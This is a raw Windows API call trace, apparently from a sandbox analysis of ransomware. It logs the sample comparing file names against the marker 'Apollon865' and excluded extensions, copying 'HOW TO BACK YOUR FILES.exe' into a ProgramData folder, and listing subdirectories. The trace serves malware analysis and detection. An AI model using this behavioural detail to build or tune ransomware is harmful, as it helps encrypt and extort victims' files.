	[0039.150] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.POWERPNT.DEV.14.1033.hxn" | out: lpString1="MS.POWERPNT.DEV.14.1033.hxn") returned="MS.POWERPNT.DEV.14.1033.hxn"
	[0039.150] lstrlenW (lpString="MS.POWERPNT.DEV.14.1033.hxn") returned 27
	[0039.150] lstrlenW (lpString="Apollon865") returned 10
	[0039.150] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.150] lstrlenW (lpString=".dll") returned 4
	[0039.150] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2=".dll") returned 1
	[0039.150] lstrlenW (lpString=".lnk") returned 4
	[0039.150] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.150] lstrlenW (lpString=".ini") returned 4
	[0039.150] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2=".ini") returned 1
	[0039.150] lstrlenW (lpString=".sys") returned 4
	[0039.150] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2=".sys") returned 1
	[0039.150] lstrlenW (lpString="MS.POWERPNT.DEV.14.1033.hxn") returned 27
	[0039.150] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.SETLANG.14.1033.hxn" | out: lpString1="MS.SETLANG.14.1033.hxn") returned="MS.SETLANG.14.1033.hxn"
	[0039.150] lstrlenW (lpString="MS.SETLANG.14.1033.hxn") returned 22
	[0039.150] lstrlenW (lpString="Apollon865") returned 10
	[0039.150] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.150] lstrlenW (lpString=".dll") returned 4
	[0039.150] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2=".dll") returned 1
	[0039.150] lstrlenW (lpString=".lnk") returned 4
	[0039.150] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.150] lstrlenW (lpString=".ini") returned 4
	[0039.150] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2=".ini") returned 1
	[0039.150] lstrlenW (lpString=".sys") returned 4
	[0039.150] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2=".sys") returned 1
	[0039.150] lstrlenW (lpString="MS.SETLANG.14.1033.hxn") returned 22
	[0039.150] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.VISIO.14.1033.hxn" | out: lpString1="MS.VISIO.14.1033.hxn") returned="MS.VISIO.14.1033.hxn"
	[0039.150] lstrlenW (lpString="MS.VISIO.14.1033.hxn") returned 20
	[0039.150] lstrlenW (lpString="Apollon865") returned 10
	[0039.150] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.150] lstrlenW (lpString=".dll") returned 4
	[0039.151] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2=".dll") returned 1
	[0039.151] lstrlenW (lpString=".lnk") returned 4
	[0039.151] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.151] lstrlenW (lpString=".ini") returned 4
	[0039.151] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2=".ini") returned 1
	[0039.151] lstrlenW (lpString=".sys") returned 4
	[0039.151] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2=".sys") returned 1
	[0039.151] lstrlenW (lpString="MS.VISIO.14.1033.hxn") returned 20
	[0039.151] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.VISIO.DEV.14.1033.hxn" | out: lpString1="MS.VISIO.DEV.14.1033.hxn") returned="MS.VISIO.DEV.14.1033.hxn"
	[0039.151] lstrlenW (lpString="MS.VISIO.DEV.14.1033.hxn") returned 24
	[0039.151] lstrlenW (lpString="Apollon865") returned 10
	[0039.151] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.151] lstrlenW (lpString=".dll") returned 4
	[0039.151] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2=".dll") returned 1
	[0039.151] lstrlenW (lpString=".lnk") returned 4
	[0039.151] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.151] lstrlenW (lpString=".ini") returned 4
	[0039.151] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2=".ini") returned 1
	[0039.151] lstrlenW (lpString=".sys") returned 4
	[0039.151] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2=".sys") returned 1
	[0039.151] lstrlenW (lpString="MS.VISIO.DEV.14.1033.hxn") returned 24
	[0039.151] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.VISIO.SHAPESHEET.14.1033.hxn" | out: lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn") returned="MS.VISIO.SHAPESHEET.14.1033.hxn"
	[0039.151] lstrlenW (lpString="MS.VISIO.SHAPESHEET.14.1033.hxn") returned 31
	[0039.151] lstrlenW (lpString="Apollon865") returned 10
	[0039.151] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.151] lstrlenW (lpString=".dll") returned 4
	[0039.151] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2=".dll") returned 1
	[0039.151] lstrlenW (lpString=".lnk") returned 4
	[0039.151] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.151] lstrlenW (lpString=".ini") returned 4
	[0039.151] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2=".ini") returned 1
	[0039.151] lstrlenW (lpString=".sys") returned 4
	[0039.151] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2=".sys") returned 1
	[0039.151] lstrlenW (lpString="MS.VISIO.SHAPESHEET.14.1033.hxn") returned 31
	[0039.152] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.VISIO_PRM.14.1033.hxn" | out: lpString1="MS.VISIO_PRM.14.1033.hxn") returned="MS.VISIO_PRM.14.1033.hxn"
	[0039.152] lstrlenW (lpString="MS.VISIO_PRM.14.1033.hxn") returned 24
	[0039.152] lstrlenW (lpString="Apollon865") returned 10
	[0039.152] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.152] lstrlenW (lpString=".dll") returned 4
	[0039.152] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2=".dll") returned 1
	[0039.152] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.VISIO_STD.14.1033.hxn" | out: lpString1="MS.VISIO_STD.14.1033.hxn") returned="MS.VISIO_STD.14.1033.hxn"
	[0039.152] lstrlenW (lpString="MS.VISIO_STD.14.1033.hxn") returned 24
	[0039.152] lstrlenW (lpString="Apollon865") returned 10
	[0039.152] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.152] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.WINPROJ.14.1033.hxn" | out: lpString1="MS.WINPROJ.14.1033.hxn") returned="MS.WINPROJ.14.1033.hxn"
	[0039.152] lstrlenW (lpString="MS.WINPROJ.14.1033.hxn") returned 22
	[0039.152] lstrlenW (lpString="Apollon865") returned 10
	[0039.152] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.152] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.WINPROJ.DEV.14.1033.hxn" | out: lpString1="MS.WINPROJ.DEV.14.1033.hxn") returned="MS.WINPROJ.DEV.14.1033.hxn"
	[0039.152] lstrlenW (lpString="MS.WINPROJ.DEV.14.1033.hxn") returned 26
	[0039.152] lstrlenW (lpString="Apollon865") returned 10
	[0039.152] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.152] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.WINWORD.14.1033.hxn" | out: lpString1="MS.WINWORD.14.1033.hxn") returned="MS.WINWORD.14.1033.hxn"
	[0039.152] lstrlenW (lpString="MS.WINWORD.14.1033.hxn") returned 22
	[0039.152] lstrlenW (lpString="Apollon865") returned 10
	[0039.152] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.152] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.WINWORD.DEV.14.1033.hxn" | out: lpString1="MS.WINWORD.DEV.14.1033.hxn") returned="MS.WINWORD.DEV.14.1033.hxn"
	[0039.152] lstrlenW (lpString="MS.WINWORD.DEV.14.1033.hxn") returned 26
	[0039.152] lstrlenW (lpString="Apollon865") returned 10
	[0039.152] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.153] lstrcpyW (in: lpString1=0x2d3e594, lpString2="nslist.hxl" | out: lpString1="nslist.hxl") returned="nslist.hxl"
	[0039.153] lstrlenW (lpString="nslist.hxl") returned 10
	[0039.153] lstrlenW (lpString="Apollon865") returned 10
	[0039.153] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft"
	[0039.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6310 | out: hHeap=0x580000) returned 1
	[0039.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0039.153] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft") returned 28
	[0039.153] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft" | out: lpString1="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft"
	[0039.153] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.153] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.157] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.157] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f71d350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f71d350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.157] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.157] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.157] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="Assistance" | out: lpString1="Assistance") returned="Assistance"
	[0039.157] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0039.157] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bc908
	[0039.157] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0039.157] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1
	[0039.157] lstrcmpiW (lpString1="Crypto", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.158] lstrcmpiW (lpString1="Crypto", lpString2="Apollon865.txt.exe") returned 1
	[0039.158] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="Crypto" | out: lpString1="Crypto") returned="Crypto"
	[0039.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0039.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bde88
	[0039.158] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0039.158] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1
	[0039.158] lstrcmpiW (lpString1="Device Stage", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.158] lstrcmpiW (lpString1="Device Stage", lpString2="Apollon865.txt.exe") returned 1
	[0039.158] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="Device Stage" | out: lpString1="Device Stage") returned="Device Stage"
	[0039.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0039.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x5983a8
	[0039.158] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7ad0
	[0039.158] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1
	[0039.158] lstrcmpiW (lpString1="DeviceSync", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.158] lstrcmpiW (lpString1="DeviceSync", lpString2="Apollon865.txt.exe") returned 1
	[0039.158] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="DeviceSync" | out: lpString1="DeviceSync") returned="DeviceSync"
	[0039.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0039.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bc960
	[0039.158] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0039.158] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1
	[0039.158] lstrcmpiW (lpString1="DRM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.158] lstrcmpiW (lpString1="DRM", lpString2="Apollon865.txt.exe") returned 1
	[0039.158] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="DRM" | out: lpString1="DRM") returned="DRM"
	[0039.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0039.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x42) returned 0x5bded8
	[0039.158] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0039.158] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1
	[0039.158] lstrcmpiW (lpString1="eHome", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.158] lstrcmpiW (lpString1="eHome", lpString2="Apollon865.txt.exe") returned 1
	[0039.158] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="eHome" | out: lpString1="eHome") returned="eHome"
	[0039.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0039.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x46) returned 0x5bdf28
	[0039.158] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7b10
	[0039.158] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1
	[0039.159] lstrcmpiW (lpString1="Event Viewer", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.159] lstrcmpiW (lpString1="Event Viewer", lpString2="Apollon865.txt.exe") returned 1
	[0039.159] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="Event Viewer" | out: lpString1="Event Viewer") returned="Event Viewer"
	[0039.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0039.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x598408
	[0039.159] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7b30
	[0039.159] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f71d350, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f71d350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.159] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.159] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1
	[0039.159] lstrcmpiW (lpString1="IdentityCRL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.159] lstrcmpiW (lpString1="IdentityCRL", lpString2="Apollon865.txt.exe") returned 1
	[0039.159] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="IdentityCRL" | out: lpString1="IdentityCRL") returned="IdentityCRL"
	[0039.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0039.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x52) returned 0x598468
	[0039.159] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c90
	[0039.159] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1
	[0039.159] lstrcmpiW (lpString1="Media Player", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.159] lstrcmpiW (lpString1="Media Player", lpString2="Apollon865.txt.exe") returned 1
	[0039.159] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="Media Player" | out: lpString1="Media Player") returned="Media Player"
	[0039.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0039.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x5984c8
	[0039.159] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0039.159] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1
	[0039.159] lstrcmpiW (lpString1="MF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.159] lstrcmpiW (lpString1="MF", lpString2="Apollon865.txt.exe") returned 1
	[0039.159] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="MF" | out: lpString1="MF") returned="MF"
	[0039.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0039.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x40) returned 0x5b6310
	[0039.159] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fbf0
	[0039.159] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSDN", cAlternateFileName="")) returned 1
	[0039.159] lstrcmpiW (lpString1="MSDN", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.159] lstrcmpiW (lpString1="MSDN", lpString2="Apollon865.txt.exe") returned 1
	[0039.159] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="MSDN" | out: lpString1="MSDN") returned="MSDN"
	[0039.160] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0039.160] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x44) returned 0x5bdf78
	[0039.160] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc10
	[0039.160] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1
	[0039.160] lstrcmpiW (lpString1="NetFramework", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.160] lstrcmpiW (lpString1="NetFramework", lpString2="Apollon865.txt.exe") returned 1
	[0039.160] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="NetFramework" | out: lpString1="NetFramework") returned="NetFramework"
	[0039.160] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0039.160] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x598528
	[0039.160] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0039.160] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1
	[0039.160] lstrcmpiW (lpString1="Network", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.160] lstrcmpiW (lpString1="Network", lpString2="Apollon865.txt.exe") returned 1
	[0039.160] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="Network" | out: lpString1="Network") returned="Network"
	[0039.160] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0039.160] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4a) returned 0x5bc9b8
	[0039.160] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
